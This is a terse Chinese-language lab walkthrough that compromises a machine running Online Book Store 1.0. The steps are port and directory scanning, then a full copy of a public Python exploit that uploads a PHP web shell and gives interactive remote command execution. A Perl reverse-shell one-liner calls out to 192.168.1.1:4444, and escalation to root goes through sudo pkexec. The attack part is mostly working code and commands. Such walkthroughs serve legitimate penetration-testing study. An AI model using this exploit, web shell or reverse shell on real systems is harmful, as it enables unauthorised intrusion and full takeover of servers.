nmap -p- -sC -sV

  • -p-：表示扫描所有65535个TCP端口。
  • -sC：使用默认的Nmap脚本进行扫描，这些脚本可以检测常见的漏洞和安全问题。
  • -sV：启用版本检测，以查找正在运行的服务的详细信息。

dirsearch -u http://ip -w /usr/share/wordlists/dirb/common.txt

http://ip/store

exploit-db.com

搜索online book store

onlinebookstore-rce

把poc复制下来

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# Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-01-07
# Exploit Author: Tib3rius
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
# Version: 1.0
# Tested on: Ubuntu 16.04
# CVE: N/A

import argparse
import random
import requests
import string
import sys

parser = argparse.ArgumentParser()
parser.add_argument('url', action='store', help='The URL of the target.')
args = parser.parse_args()

url = args.url.rstrip('/')
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))

payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'

file = {'image': (random_file + '.php', payload, 'text/php')}
print('> Attempting to upload PHP web shell...')
r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)
print('> Verifying shell upload...')
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)

if random_file in r.text:
    print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')
    print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')
    launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
    if launch_shell.lower() == 'y':
        while True:
            cmd = str(input('RCE $ '))
            if cmd == 'exit':
                sys.exit(0)
            r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)
            print(r.text)
else:
    if r.status_code == 200:
        print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
    else:
        print('> Web shell failed to upload! The web server may not have write permissions.')

nano poc.py

python poc.py url

which python

which perl

发现有perl

/usr/bin/perl

用Hack-Tools

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perl -e 'use Socket;$i="192.168.1.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

nc -lnvp 4444

find / -type f -user root -perm -4000 2>/dev/null

gtfobins

直接pkexec没用

cd /home/tony

ssh tony@192.168.55.111

sudo -l

sudo pkexec /bin/sh

whoami

root